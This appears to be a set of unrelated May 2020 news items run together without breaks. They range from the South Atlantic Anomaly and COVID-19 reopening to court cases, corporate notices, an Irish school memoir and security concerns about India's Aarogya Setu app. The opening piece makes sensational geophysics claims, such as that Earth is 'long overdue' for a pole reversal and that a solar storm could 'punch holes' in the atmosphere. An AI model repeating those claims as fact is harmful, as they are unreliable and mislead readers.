The new, eastern minimum of the South Atlantic Anomaly has appeared over the last decade and in recent years is developing vigorously, said Jurgen Matzka of the GFZ German Research Center for Geosciences (GFZ), Germanys national research center for the earth sciences.

We are very lucky to have the Swarm satellites in orbit to investigate the development of the South Atlantic Anomaly. The challenge now is to understand the processes [in the Earths core] driving these changes, he added.

Furthermore, while the weakening inside the South Atlantic Anomaly is still within what scientists consider normal levels of fluctuations, it still does not explain precisely why the magnetic field in that area is weakening. Scientists still have not been able to solve this mystery, however there are several theories being explored.

Weakening magnetic field may be a sign of a pole reversal

One theory that scientists have over why the Earths magnetic field is weakening is that it is a sign that the Earth is heading for a pole reversal, when the worlds magnetic north and south poles switch places. The last reversal happened around 780,000 years ago, during the Stone Age, and there is even some evidence indicating that the Earth may currently be in the early stages of an ongoing reversal. Scientists have stated that the Earth is long overdue for a reversal, which should occur once every 250,000 years.

This process can take anywhere between 1,000 to 10,000 years to complete. During this time, the strength of the magnetic field will weaken, become more fluid and complex and, for a time, the Earth might even get more than two poles at the same time. (Related: If the Earths magnetic field reverses, scientists think they know where ground zero will be.)

Scientists say that this weak transitionary phase is when humanity  and all life on Earth, for that matter  is most vulnerable.

During this time, if a coronal mass ejection (CME) were to occur, the Earth would be in greater danger. The Earths magnetic field is able to block out many CME particles. However, with a weak field, this shielding ability is much less efficient.

A strong CME occurring during the transitionary stage of a magnetic reversal might punch holes in the Earths atmosphere, which would be particularly concerning for several reasons, such as for people vulnerable to skin cancer. Just as importantly, this solar electromagnetic pulse could cause the worlds electronically based infrastructure to crumble in an instant.

While the mystery of why the Earths magnetic field is still unsolved, the ESA is still proud of the work they are doing and of the magnetic field observations being conducted by its Swarm satellites, which are providing exciting new insights into the scarcely understood processes of the Earths interior.

Sources include:

News.Sky.com

ESA.int

CosmosMagazine.com

Earth.ESA.int

LiveScience.com
SAN DIEGO - George Cruz relaxed at an outdoor beach restaurant as a waitress wearing a face covering rushed by, carrying a tray with a Pina Colada in a pineapple-shaped cup. An employee in a face covering stood nearby with cleaning supplies in his gloved hand, ready to sanitize any empty tables.

The odd mix of pumping music, cocktails and health precautions did not seem to deter anyone. Beach House Grill  known for its ocean views and fire pits  was already filling up on a sunny afternoon less than 24 hours after San Diego County was given permission by the state to allow dine-in restaurant service.

Cruz could only imagine the crowds over the holiday weekend.

Thats why we decided to come now, said the engineer who was dining with his wife and 6-year-old daughter. There definitely will be a surplus of people at the beach, adding that they will be staying home. I just hope everybody is smart about how they go out.

Millions of Californians are heading into the Memorial Day weekend with both excitement and anxiety after restrictions to control the spread of coronavirus were eased across much of the state. The coinciding factors are sure to test the nations most populous state, which has just started seeing a decline in COVID-19 hospitalizations.

California was the first in the U.S. to issue such a statewide mandate, and it was among the last to loosen restrictions.

At least 45 of the states 58 counties are just starting to go beyond takeout service and curbside shopping in the most drastic scaling back of the stay-at-home orders since the governor issued them in mid-March. They include Riverside and Sonoma counties, which won approval Friday to join the others moving deeper into the second of a four-stage reopening plan because they have met state standards for controlling the virus.

Police, lifeguards and other officials were warning people to not forget about the seriousness of the virus as they enjoy their first weekend of newfound freedom.

Gov. Gavin Newsom vowed to relax more restrictions soon. He said he anticipated guidance would be completed by Monday for how to reopen places of worship safely and the state is within days of announcing a loosening of our stay-at-home order for barbershops and salons.

But he added caution is still needed. Speaking Friday from a veterans home in Yountville that lived through second and third waves of outbreaks during the 1918 flu pandemic, Newsom warned people not to be fooled just because the sun has come up and theres a sense of optimism, that theres more light.

Theres also another reality that is stubborn, and that is the virulence of this disease remains and lives are continuing to be lost, he said.

The state is still seeing troubling flare-ups. In Northern California, Santa Cruz Countys public health officials were investigating four separate clusters of COVID-19 cases involving family gatherings, including a multi-generational Mothers Day party and a large gathering involving individuals who travelled from out-of-state.

Popular getaway communities, like around Northern Californias Lake Tahoe, were asking visitors to still stay away.

Others, like Joshua Tree National Park, which re-opened this week, were bracing for the anticipated wave of adventure-starved hikers and campers.

The mountain destination of Big Bear Lake announced officials would not enforce the governors orders, arguing it has kept COVID-19 cases manageable while the economy has suffered.

Others were ready to call out violators. Seal Beach, south of Los Angeles, is deploying two-officer teams to beaches to solely enforce virus-controlling rules.

Police also will be assisting San Diego lifeguards. At an already busy Mission Beach ahead of the weekend, a lifeguard over a loudspeaker warned people that the boardwalk was closed and to keep moving to the beach where only walking and jogging are permitted. The ocean is open too, he said.

Nearby, Cailyn Meimer popped out of a shop selling bikinis, beach blankets and now face coverings. She said it felt good to be going into a store for something other than groceries.

Until now, it felt almost like we would not be going back to normal, she said.

Still, the 21-year-old student wasnt sure she was ready for restaurant dining yet.

Restaurants were scrambling to space apart tables  including some eateries without patios that were creating alfresco dining in their parking lots.

In San Francisco, city officials drew large chalk social distancing circles on the grass at parks to show people where to sit. Dolores Park has seen large masses of people on sunny weekends, prompting Mayor London Breed to warn that she would shut it down if people werent more responsible.

David Spatafore, who owns Blue Bridge Hospitality restaurant group, said the social distancing floor decals arrived just in time for San Diegos Liberty Public Market. It reopened patio seating Friday.

The sprawling market with 30 vendors, including wine bars, bakeries and taco stands, has been doing takeout. But now people can browse its shops selling locally made art, jewelry, and clothing.

Spatafore also planned to open patio seating at the groups pizzerias and the dining rooms at its high-end steakhouse in Coronado, across the bay from San Diego.

I think people are going to be so happy to be able to go back out and not eat out of a plastic container or cardboard box, he said. I know I am. Im over the compost-able clam shell.

Weeks ago, Spatafore ordered head-scan thermometers to check employees temperatures and was happy he did because there are shortages now. He hooked up with local brewers that have started producing hand-sanitizer to stock up.

At the market, additional hand-washing sinks were being installed, friendly reminders were posted and staff was trained to enforce rules.

Hopefully people will self-police, he said.

Near San Diegos Mission Beach, Laura Garcia sat at an outdoor table at a Mexican restaurant and relished in the people watching, the sun on her back and the fresh air.

I definitely appreciate everything a lot more, the 27-year-old dental assistant said. Im not worried. Im just excited to see when everything else starts opening back up.

_____

Associated Press writers John Antczak and Frank Baker in Los Angeles, Juliet Williams in San Francisco and Martha Mendoza in Santa Cruz contributed to this report.
Some 245 Ghanaian immigrants who are living illegally in Kuwait are to be deported and flown down tomorrow.

Information Minister, Kojo Oppong Nkrumah briefed the media today in Accra.

He said borders have not be opened.

According to him, the deportation is a special request from the government of Kuwait.

They will be tested and quarantined upon arrival, he said.

He said they are coming on a chartered flight.

We have triggered the process to ensure we can receive them, mandatorily quarantine them, and treat them, he said.

According to him, those who test negative Will mandatorily quarantine for 14 days for a second test before they are handed over to the Ghana Immigration Service in line with immigration procedure for handling deportees.

---Daily Guide
Qualcomm (QCOM) is positioned close to the eye of the macro storm. A heavy reliance on China and uncertainty concerning near-term smartphone supply and demand dynamics have contributed to a difficult 2020 for QCOM, with shares down 12% year-to-date.

However, despite renewed tensions between the U.S. and China, Qualcomm could actually benefit from the worrying developments, so says Canaccord Genuity analyst Michael Walkley.

The recent Department of Commerce ban on Huawei, preventing it from purchasing semiconductors from U.S. companies, has ignited fears of retaliatory moves against companies such as Apple and Qualcomm. That being said, Qualcomms management noted Huawei is not a significant customer. In fact, Walkley argues the move could be good for the chipmaker.

We view any Huawei smartphone share losses, which are likely with it not gaining access to Android software, as a benefit to Qualcomm as its leading QCT customers such as OPPO and Vivo are likely to gain market share from Huawei, said the 5-star analyst.

While theres a risk of a Chinese retaliation, Walkley notes that a large number of Chinese OEMs are dependent on Qualcomm in order to compete with tech giant Huawei. And with ambitions to sell more global smartphones, Qualcomm is the primary to only choice in certain markets for these OEMs to have working products.

Furthermore, Walkley believes Chinese semiconductor company HiSilicon (owned by Huawei) cannot currently sell its modems to Qualcomms Chinese OEM customer base.

If trade tensions negatively impact Huaweis HiSilicon business, Qualcomm could benefit as Huawei loses both market share and the ability to eventually compete in the merchant market, if HiSilicon is stopped from making innovative chipsets at TSMC.

Walkley summarized, While the escalating China and U.S. relations is a concern to monitor and likely adds to the delays for Qualcomm in reaching an agreement with Huawei, we believe Qualcomm could come out as a net beneficiary if Huawei is adversely impacted since Huawei doesnt use material volumes of Qualcomm chipsets and does not pay royalties currently.

Story continues

Bearing this in mind, the 5-star analyst rates QCOM a Buy and has a $102 price target on the shares. Theres upside of 31% should the target be met in the coming months. (To watch Walkleys track record, click here)

The analyst community remains cautiously optimistic when considering Qualcomms prospects. A Moderate Buy consensus rating is based on a mix of 8 Buys, 7 Holds and 2 Sells. The average price target hits $86.86 and implies possible gains in the shape of 11%. (See Qualcomm stock analysis on TipRanks)
Mississippi Gov. Tate Reeves said he's "heartbroken and furious" after a fire this week at a church that has challenged coronavirus restrictions. The fire is being investigated as arson.

The fire Wednesday in Holly Springs destroyed the First Pentecostal Church, and investigators found graffiti in the church parking lot that reads, Bet you stay home now you hypokrits," NBC affiliate WMC of Memphis reported.

The church was "burned to the ground" and had been trying to open services, Reeves tweeted Thursday.

First Pentecostal filed a lawsuit last month against the city over its public health order on in-person worship services, the station reported.

"This is not who we are," the governor said at a daily news conference on the coronavirus epidemic and the state's response.

"Obviously, we have to ensure that this investigation is done and that it is completed," Reeves said. "But if this is in fact what it looks like, I want you to know that we're going to do everything in our power to find whomever burned this church down."

Stephen Crampton, attorney for the church, told WMC that he has no doubt that the fire was connected to the lawsuit.

"To find that that graffiti is spray painted in there  'I bet you stay home now, you hypocrites,' right  seems very clearly directed at this particular lawsuit and the church's stand for its own Constitutional rights," he said.

The lawsuit deals with alleged police disruption of a Bible study and Easter service.

Holly Springs City Attorney Shirley Byers said the church was issued a violation on April 10 after about 40 people had gathered inside and were not social distancing. The city amended its local order in late April to allow drive-thru church services. The lawsuit says social distancing is practiced inside and that services are held indoor only when weather prohibits outdoor services.

Image: First Pentecostal Church in Holly Springs (Kelly McMillen / Marshall County Sheriff's Office via AP)

Reeves has never outright prohibited worship services and has classified places like churches as "essential" in state stay-at-home orders.

Story continues

But, he has encouraged churches to use alternatives like online and parking lot services.

Earlier this week, Reeves released guidance on resuming in-person faith gatherings, which include cleaning and disinfection, holding separate services for vulnerable populations and creating a 6-foot buffer between household groups.

Holly Springs is a community of around 7,600 in the northern part of the state near the Tennessee border, a little more than 40 miles southeast of Memphis.

Mississippi has begun reopening other parts of its economy and activities. On Tuesday, Reeves signed an order allowing places that include tattoo parlors and dance studios to reopen.

As of the end of the business day Wednesday, Mississippi had confirmed 12,222 COVID-19 cases and had had 580 deaths, according to the state health department.
School days began for me at five years of age. I started to attend the Convent school being taught by Nuns. Boys stayed there until after their First Holy Communion at seven years old. Then they attended the Boys National School. My days in the Convent are remembered mostly by a couple of incidents.

I remember my Mother taking me out of the playground and down the hill to Moonteen to Dr Murphy for vaccination. I shall never forget it, he bared my left arm and broke off a thin glass tube, dipped the broken end in some serum put his finger on the other end and scratched my shoulder and released the serum. I remember my arm didnt heal for ages.

The other incident was when I kicked Sister Bridget for not letting me near the fire one winters day. It was the first time anyone saw the Nuns in uproar. I was nearly excommunicated for it.

Then on to the Boys school to be taught by a distant relative who used to get me (being family) to go to Durkins for two large bottles of stout and hide them under a certain tombstone in the neighbouring cemetery. After about six months he retired and was replaced by another man. He was the only teacher I had throughout my national schooling. As we advanced yearly so was he promoted with us. My class hold that distinction in Thomastown from about 1929 to 1937.

Our new teacher was a great teacher an Irishman. We learned everything, all subjects, as Gaeilge except English, which was half an hour per day.

Our teacher detested everything British and was the epitome of the old saying burn everything British except her coal. While he was a great teacher he had no control of his temper and handed out many beatings to his pupils which, on several occasions, resulted in boys fathers visiting the school or his home to do battle. Often we stood up at the windows cheering some boys father to hammer the teacher. He gave me a bad beating once which my father dealt with the next day and I myself dealt with later as I will recount. All that aside he still produced some great scholars.

His pupils won honours in every Feis in the country. I myself won several. Our school also won the Carlyle and Blake Premium an award for the best school in the diocese of Ossory several times during my schooling with him.

Our midday break was spent hurling. The teacher picked a team and the school captain picked a team and played a game every playtime with the teams being changed every week.

When I became school captain and his team played mine he marked me one day and although he was a man I could hurl the head off him (pardon the pun) one day as the ball was dropping from the air as we went for it I saw his bald forehead just under it. At that instant I felt the beating he had given me 12 months before so I pulled about a foot under the ball and caught him on the forehead. He knew because as he got up to go to the doctor he said I suppose youre even now Paddy.

The highlight of each term was the country versus the town hurling match on the day we got our holidays. Those games were the most competitive ever imagined.

Another thing he always did was on Friday afternoons when we came in for our 2pm play he would have a sum on the blackboard dealing with all he taught us during the week. He paid every one who got the sum right half a crown each. That was a lot of money those days and I can tell you we were all ears to what he said. I seldom missed that half-crown.

Our playground was over the rocks in front of the convent gates and in the band room on wet days. The band room was the lower floor of our school where the local band practised. When I think of it now that man taught us 10 books of Euclid logs and antilogs all in Gaelic in a national school. When we sat for our Leaving Cert I remember our class broke all records. I myself got honours in all subjects. He also taught us to be proud of our Irishness.

Of course we had no school dinners those days - we usually brought a couple of cuts of bread or if we were really well off we bought a current puff from Comerfords for one old penny.

Our trip to school and usually barefooted and on the frosty mornings our feet would be perished so wed go into the fields and wallop the cattle with our hurls to make them stand up and warm our feet where they lay.

Also we used to visit Maggie Michaels, a little hucksters shop in Logan Street and buy two Waverly nibs for our pens for 1d. In first and second class we had slates and slate pencils for our writing and sums then we graduated to copies and pens.

Each desk had three inkwells which were filled daily with Quink ink. Also as well as having a half hour per day religious instruction we had to attend catechism for an hour after 11 oclock mass in the chapel every Sunday.

For our reading books the teacher chose them every year, different ones every year designed to prevent any hand downs. Some of the classics he chose for us were The Key above the Door, Swordsman of the Brigade and Red. Some of those survive still and I have Swordsman of the Brigade.

The other thing about our school days was our home exercises (homework) which usually comprised of about six sums, some spelling and compositions about some weird subject he would think up. These were the bane of our lives, but my parents that insisted it was done and properly.

When we arrived home from school we had dinner, then we had to cut the sticks. We used to secure a log in the wheel pit and cut off logs about 12 inches long with a crosscut. That meant one at each side of the log and each push and pull the cross cut. This led to countless arguments about who was leaning on the saw.

Then I had to split them with the hatchet and bring them into the fuel house. Other evenings wed have to go for a breasure - a bundle of rotten sticks tied with a rope and carried over the shoulder, used for kindling.

The Fair Day

This was a monthly affair in Thomastown. The first Tuesday of the month it was the monthly sale of farm stock. Cattle were on the fair green and sheep and pigs in Market Street.

The fair consisted of sellers and buyers. The sellers were farmers who drove their stock to the fair or used drovers for the job. When they were bought, the bargain made and sealed by a slap of spittled hands, the drovers took over and drove the cattle to their new abode or to the station for loading on the cattle wagons.

All the smaller animals such as sheep, calves and pigs were in creels in Market Street and the buying and selling went on there. The pubs and eating houses did a roaring trade and sure the town would be flooded with Tinkers, travelling musicians and beggars.

When the days business was done the craic started with singing and dancing in the pubs. The travelling musicians got all they could drink while they were playing. My father used to say to them Can you play the Blackbird boy?. Right then play it. If it was the Blackbird and well played he got all the Sean Dubh he could take.

As the evenings wore on the odd ash plant would be used as weapons and a few sore heads would ensue until the Guards came and cleared the town.

Another feature of the fair was how the horse breeders used to parade their stallions at the fair. They were wonderful animals and had their manes and tails plaited with green and red ribbons. It used to be a comical sight to see the stallion bringing his inebriated owner home late in the evening!

The rest of the day the cleanup had to be done, the town would be smothered with dung of all kinds and the streets would have to be brushed and hosed down for hours.

The Thrashings

One of the great annual events in rural Ireland in my boyhood was the Thrashings. The Thrashing season lasted about two months in September and October.

It began when the stacks of corn were dry enough to draw in. The sheaves were pitched into the carts and built into a safe load with all the heads in and was drawn into the haggard where they were set out in a rick, again meticulously built with the heads in.

Then when ready the Thrashing engine (called the engine) mill and elevator was booked up. All the neighbours were notified of the Thrashing. Delft was borrowed and pint mugs also - the farmer went to the town for a barrel of beer stout and lemonade. The engine arrived usually at night and had to be set up. Usually a job of great skill manoeuvring the ungainly machines in through narrow lanes and gates and into the haggard and all the gear set up ready to work. Barrels and barrels of had to be drawn and lots of coal.

A couple of blasts of the whistle about 8am signalled to the neighbourhood that all was ready to start. Thus the neighbours arrived and were designated jobs, shave pitchers, cutters and feeder, rick builders for the straw-baggers etc sack up the grain and cart to the barn.

Then came the boys jobs, to rake out the chaff from under the mill and carry the buckets of beer round to the men, help wash the spuds. Our reward was all the lemonade we could drink.

The atmosphere of the thrashing was always work and fun. Both mixed well together and I never heard a cross word only when a cutter missed a shave and it went in uncut. There was a loud bang and the belt went all over the place as the mill tried to cope with the tied shave. Then the colourful language the hoor is as blind as a bat and is putting in tied shaves.

The thrashing done, the engine was yolked up to the mill and elevator and off to the next one.

Then came the most important event of the day, the thrashing dance. Not all farmers had one but a few of our neighbourhood farmers had them and they were famous.

After the days work all the boys and girls relaxed, the lads with a few jars and the girls with a drop of port and we danced and sang the whole night through. The lucky fellows got their girls to go out to the rick and had a mighty court in the fresh straw.

If the farmer had a lot of oats he used to give us the oaten straw for all our ticks and bolsters. So the bonus for us from the thrashings was lovely fresh soft oaten straw ticks in our beds and likewise bolsters. By the next thrashing they got quite hard and we began to look forward to the next thrashing.
The Central Bureau of Investigation (CBI) objected to the plea of Sanjeev Khanna, one of the alleged accused in the Sheena Bora case, for interim bail. The hearing on the plea is now scheduled on June 3.

Khanna, one of alleged accused in Sheena Bora murder case and former husband of Indrani Mukerjea had approached the special court for interim bail on May 14 on the ground of spread of Covid-19 in jail. He has pleaded that the accused booked for murder does not fall under the category of the prisoners who cannot be released from jail as recommended by the high-power committee of Bombay high court.

The CBI in its objection on Friday said that though the minutes of high-power committee has not included murder charges in the list of charges for which the bail cannot be granted, the court has to decide the plea on the merits. The CBI claimed that the prosecution has submitted enough evidence against Khanna to prove his role in the alleged murder of Sheena and subsequent act of destruction of her body and other evidence.

After accepting the plea, the hearing of the plea is now scheduled before the special CBI judge who has been hearing the trial of Sheena Bora murder case.

According to the prosecution, Sheena was killed on April 24, 2012, by Indrani, her former husband Sanjeev Khanna, and driver Shyamwar Rai, who is now a prosecution witness and approver in the case.
Signage at an Amazon facility in Bethpage on Long Island, N.Y., on March 17, 2020. (Andrew Kelly/Reuters)

Amazon to Hire 50,000 Temp Workers in India as Lockdown Boosts Demand

BENGALURUAmazon.com Incs India unit said it would hire 50,000 temporary workers to meet a surge in online shopping in the country, where customers have been stuck indoors for two months in a lockdown to fight the CCP (Chinese Communist Party) virus outbreak.

E-commerce firms faced massive disruption in the initial days of the lockdown in India, but a slow easing of the stringent regulations has allowed them to resume large parts of their operations.

We want to continue helping customers all over India get everything they need so they can continue to practice social distancing, Amazon senior executive Akhil Saxena said in a statement on the companys blog.

Migrant workers line up to board a bus to Amritsar railway station to take a special train to Bettiah in Bihar state to return to their hometowns after the government eased restrictions, on the outskirts of Amritsar, India, on May 21, 2020. (Narinder Nanu /AFP via Getty Images)

[The move] will also keep as many people as possible working during this pandemic while providing a safe work environment for them, said Saxena, Amazons VP for customer fulfillment operations in APAC, MENA & Latam.

The temporary hires will work in Amazons fulfillment centers and as part of its delivery network, the company said, making the announcement at a time when various other companies in the country have been forced to cut jobs as they try to tide over the health crisis.

Amazon itself has pushed its annual global Prime Day event, traditionally a summer affair, to September, The Wall Street Journal reported on May 21.

In India, where the Jeff Bezos-led company faces stiff competition from Walmart Incs Flipkart, Amazon earlier said it plans to create 1 million jobs by 2025.

The company also said on Thursday it plans to enter the food delivery business in India, pitting itself against well-established startups such as Swiggy and Zomato.

By Chandini Monnappa

Epoch Times staff contributed to this report.
Such actions run counter to the basic principles of international law and the UN Charter, Ambassador Dang Dinh Quy, Permanent Representative of Vietnam to the UN, told the meeting, requested by Russia, to discuss the situation in Venezuela.

Rosemary A. DiCarlo, Under-Secretary-General for Political and Peacebuilding Affairs, noted that the Venezuelan Government sent a letter to the UNSC on May 13 stating that armed groups of mercenaries and terrorists organised by the US and Colombia had illegally entered the country on May 3 and 4.

The US and Colombia have both denied the allegations of involvement, she said.

Ambassador Quy urged the parties concerned to exercise restraint and not use force or threaten to use force, in order to avoid escalating tensions and causing instability.

He expressed support for the efforts of Venezuelas constitutional government and stakeholders in promoting dialogue and seeking long-term solutions via peaceful means, in line with international law and the UN Charter.

Venezuelas people must resolve their own problems through solutions based on a respect for the countrys Constitution and the peoples will, he said.

He further noted that in the face of the ongoing COVID-19 pandemic, priority should be given to constructive cooperation and humanitarian assistance to curb the spread of the virus in the Latin American country.
That has not deterred some at the White House to search for new data. Dr. Birx often begins her days before 5 a.m. examining fresh numbers from a small group of Trump administration officials who work late nights in the White House complex.

Detailed to Dr. Birx from the C.D.C., the State Department, the White House budget office and a technology agency called the U.S. Digital Service, the employees compile their own information about the pandemic from state and local health departments in hard-hit parts of the country. That data is then shared with the White Houses coronavirus task force.

White House officials say skepticism in the Trump administration over C.D.C. data, including for opioid use, long predates the coronavirus outbreak. But new reasons have cropped up.

At least one senior White House official has mentioned that hospitals could be inflating their coronavirus patient counts, responding to financial incentives  Medicare offers higher payments to providers for treating coronavirus patients. Several senior officials said they were unaware of such talk.

An official with the American Hospital Association disputed that idea.

Theres guidance around what you have to do, and the clinician has to say, This is the diagnosis, said Nancy Foster, the associations vice president for quality and patient safety policy. Theyre putting their professional reputation on the line to say that.

Without doubt, the C.D.C., which collects data from states, has been hampered during the pandemic by inconsistent protocols and limited resources at a local level. How deaths are tallied often varies from one state or county to the next and involves a chaotic mix of health care providers, medical examiners, coroners, funeral homes and local health departments that fill out death certificates, often without official test results.

White House officials have also wanted the C.D.C. to standardize how states report cases to the federal government, a role that now belongs in part to a professional organization, the Council of State and Territorial Epidemiologists.
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Bangkok, May 22, 2020  Myanmar authorities should immediately release jailed news editor Zaw Ye Htet and stop using vague and abusive laws against journalists, the Committee to Protect Journalists said today.

On May 13, authorities in eastern Karen state arrested Zaw Ye Htet, chief editor of the privately owned Dae Pyaw online news agency, after his publication reported there had been a coronavirus death in the state, according to news reports. The report later proved to be inaccurate, according to those reports.

On May 20, a Karen state court sentenced Zaw Ye Htet to two years in prison under Article 505(b) of the penal code, which bars the dissemination of information that could cause fear or alarm to the public, reports said.

The journalist plans to appeal the unfair decision, according to those news reports.

Journalists should never be jailed for their news reporting, particularly during a global health emergency, said Shawn Crispin, CPJs senior Southeast Asia representative. Zaw Ye Htet should be freed immediately, and authorities should stop using legal threats to stifle news reporting.

CPJs emailed the Myanmar attorney generals office for comment on the case, but did not immediately receive a reply.

National lawmakers are deliberating additional legislation that would empower authorities to criminally prosecute journalists for causing public panic through their news reporting on COVID-19, according to those news reports.

A law was submitted to the lower house of Parliament on May 18 which, if passed as drafted, would allow for six-month prison penalties and 500,000 kyat fines ($356) for those convicted, Human Rights Watch said in a statement sent to journalists and reviewed by CPJ.
Anyone arriving in the United Kingdom  including British citizens  from early June will need to quarantine themselves for 14 days or pay 1,000 fine if they fail to do so, as part of plans to prevent another wave of coronavirus that have been criticised by the airline and tourism industries.

Details of the quarantine plan are to be announced at the daily Downing Street briefing later on Friday, but cabinet minister Brandon Lewis said on Friday that travellers will be asked to fill in a form with contact information, and health officials will perform spot checks to ensure compliance.

Visitors from Ireland and the Channel islands will be exempted, besides road hauliers and medical officials, under the plans to be announced by home secretary Priti Patel.

Lewis told breakfast programmes on television: Were a country that welcomes people from all over the world. But it is appropriate that we say if youre coming to the United Kingdom, we need to protect your own health and the health of the people of the United Kingdom.

And the best way is to make sure that people go through that quarantine period to ensure they have no symptoms and are not able to add to the spread of the virus. For UK citizens coming back, they will be able to go home and quarantine at home but for visitors they will need to make arrangements for where they can do that quarantine for 14 days.

Airlines UK, the association of UK airlines, expressed collective frustration in a letter to Prime Minister Boris Johnson: An open-ended quarantine, with no set end date, will make an already critical situation for UK aviation, and all the businesses we support, even worse.

People will simply choose not to travel to and from the UK, at the same time as economies in Europe and around the world begin opening up their borders and removing their own quarantines - making the UK aviation sector unable to compete.

Grounding airlines indefinitely will further exacerbate an already devastating economic impact on UK aviation, prolonging the revenue crisis and delaying even further the start of a recovery for a sector that supports over 1.5 million UK jobs, it said.

As of Thursday, the cumulative UK-wide figures were 36,042 deaths and 250,098 cases. London, which has been a hotspot, registered some of the lowest number of new cases in recent days, prompting some easing of lockdown restrictions.

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Art students are protesting City College of San Franciscos plans to shut down its Fort Mason campus and relocate dozens of art classes from the historic waterfront site.

Interim Chancellor Dianna Gonzales said fiscal challenges brought on by the coronavirus pandemic were forcing the perpetually cash-strapped college to consider dropping the Fort Mason location, a move it had considered and rejected three years ago after students objected.

With this new economic crisis, it is even more important to make changes in our portfolio of locations, Gonzales said.

The proposed cuts, which come up for final vote at the college trustees meeting Thursday, would also affect the smaller Civic Center campus, which largely provides instruction in English as a second language.

Both campuses serve students who tend to be older than the degree-seeking young adults, who CCSF says represent its core mission. About 1,000 students attend 45 classes at Fort Mason, and 800 students attend 45 classes at Civic Center.

A week ago, the trustees budget committee told the board that moving most art classes to the main campus on Ocean Avenue would save $34,000 in monthly rent at Fort Mason, where it is housed in one of the buildings at the former Army post that served as a major embarkation point for soldiers and sailors during World War II, now part of the Golden Gate National Recreation Area.

On Friday, dozens of angry art students gathered with their sketch pads in a parking lot at the main campus for a draw-in to protest the cuts.

This is a failure and mismanagement (by) administrators, said Jean Charie of Vallejo, who has been taking CCSF art classes at Fort Mason for two decades. Once its gone, its not coming back.

Tebby George, who teaches a sculpting class for seniors, called Fort Mason a jewel of a campus and a valuable and important resource for older students.

Ethel Hayes, 75, said she has taken every art class they have at Fort Mason and isnt finished yet.

Ann Capitan, 74, a CCSF student since 1987, said the closure would be a tragedy.

This college is not just for 20-year-olds, she said. Its for the community. Thats me.

The Fort Mason closure is in addition to a plan to vacate the Civic Center campus at 1170 Market St. when its lease expires in February. English as a second language and other classes would be moved to other campuses, Davis said.

In its report, the budget committee said the move of the Fort Mason art classes to the main campus, and also to the Chinatown campus, would require spending about $245,000 to build new facilities for sculpture, ceramics, printmaking and drawing classes. Staying at Fort Mason would require paying for costly repairs.

Drought Map Track water shortages and restrictions across Bay Area Check the water shortage status of your area, plus see reservoir levels and a list of restrictions for the Bay Areas largest water districts.

The planned cuts are the latest in a series of financial and administrative challenges at the 85-year-old college, which has been in a financial maelstrom for nearly a decade.

In 2012, accreditors said the college was mismanaged and threatened to revoke its accreditation, which would have forced it to shut down. In 2017, after the infusion of extra money from the state, the accreditation was extended.

In December, the college said it would cut 345 classes, largely for older adults. Since 2018, 455 other classes have been dropped.

The proposed closure of the Fort Mason campus comes despite passage by voters in March of a $845 million bond for building repairs and equipment at CCSF. Paying off the bond will cost taxpayers $1.6 billion over three decades.

The program cuts also follow a plan announced in August to give large raises to CCSF executives, doubling the salaries of several. After widespread protests, that plan was replaced with another that raised most administrators salaries by 10%.

About 29,000 full- and part-time students attend City College at its main campus and at nine other campuses in San Francisco and at San Francisco International Airport.

Steve Rubenstein is a San Francisco Chronicle staff writer. Email: srubenstein@sfchronicle.com Twitter: @SteveRubeSF
Conroy Gold & Natural Resources Plc - Placing & Subscription fully settled & Corporate update

22 May 2020

THIS ANNOUNCEMENT CONTAINS INSIDE INFORMATION FOR THE PURPOSES OF ARTICLE 7 OF THE MARKET ABUSE REGULATIONS (EU) NO. 596/2014 ("MAR"). UPON THE PUBLICATION OF THIS ANNOUNCEMENT, THIS INSIDE INFORMATION IS NOW CONSIDERED TO BE IN THE PUBLIC DOMAIN AND SUCH PERSONS SHALL THEREFORE CEASE TO BE IN POSSESSION OF INSIDE INFORMATION.

Conroy Gold and Natural Resources plc

("Conroy Gold" or the "Company")

Placing & Subscription for 302,500 now fully settled

Corporate update

Conroy Gold and Natural Resources plc (AIM: CGNR), the gold exploration and development Company focused on Ireland and Finland, is pleased to announce that all funds from the combined Placing and Subscription to raise 302,500 (before expenses), originally announced on 18 February 2020, have now been received. The Placing component of the fundraise, totalling 250,000, was arranged by Brandon Hill Capital Limited, the Company's broker ("BHC"). Admission of the New Ordinary Shares in connection with the Placing and Subscription occurred on 21 February 2020.

As previously announced, 200,000 of the amounts due from certain of the investors were not received on time. A total of 100,000 was subsequently received, as detailed in the announcements released on 2 April, 24 April and 7 May 2020. The Company is pleased to announce that it has today received the outstanding 100,000 from the Placee in full.

Corporate update

The Company looks forward, when the COVID19 restrictions have been raised, to being able to resume fieldwork in Ireland. In the meantime, the Company is actively engaged in updating its databases and planning its field programme including drilling.

The primary emphasis in the drilling programme will be on infill drilling of the Company's Clontibret gold deposit, to convert Inferred Resources into Indicated Resources and to increase the overall resource, as the Company proceeds with the planned development of its first mine, on the district scale gold trend which it has discovered in the Longford-Down Massif in northeastern Ireland.

Finally, the Company is also in continuing discussions with a view to agreeing a joint venture partnership with a suitable industry partner for exploration and development of its licences in the Longford-Down Massif.

For further information please contact :

Conroy Gold and Natural Resources plc Tel: +353-1-479-6180 Professor Richard Conroy, Chairman Allenby Capital Limited(Nomad) Tel: +44-20-3328-5656 Nick Athanas/Nick Harriss Brandon Hill Capital Limited (Broker) Tel: +44-20-3463-5000 Jonathan Evans Lothbury Financial Services Tel: +44-20-3290-0707 Michael Padley Hall Communications Tel: +353-1-660-9377 Don Hall

Visit the website at:www.conroygold.com
Data of millions of Indians, collected through the Aarogya Setu app, could be vulnerable to threats from adversarial state and non-state actors and pose a national security challenge, according to cybersecurity experts and former intelligence officials. This, they believe, is due to issues in Indias security capabilities and cyber hygiene practices.

Indian government officials reject these concerns, saying their encryption standards have adequate protection against data or network breaches.

This difference of opinion is at the heart of a controversy surrounding tracing apps that store sensitive personal data to aid in the fight against the coronavirus disease (Covid-19) -- with one side saying that the potential risks are either non-existent or a small compromise; and the other arguing that the information is far more valuable and dangerous than governments comprehend, not just from a privacy perspective but also on the security front.

Aarogya Setu is meant to trace close contact between people so that they can be reached in the event any of them is infected with Covid-19. According to government officials, at least 110 million people have signed up on it, and while a rule making it mandatory for office-goers to install it was partially relaxed last week, on Wednesday the government said air passengers must install it if they are taking a flight.

National databases in general are a huge cause of concern. Sometimes, leaks dont even appear on the dark web. They are simply scooped away for doing passive profiling of citizens of adversarial countries, said Pukhraj Singh, a cyber threat intelligence expert, who was involved in the detection of the breach at the Kudankulam Nuclear Power Plant last year.

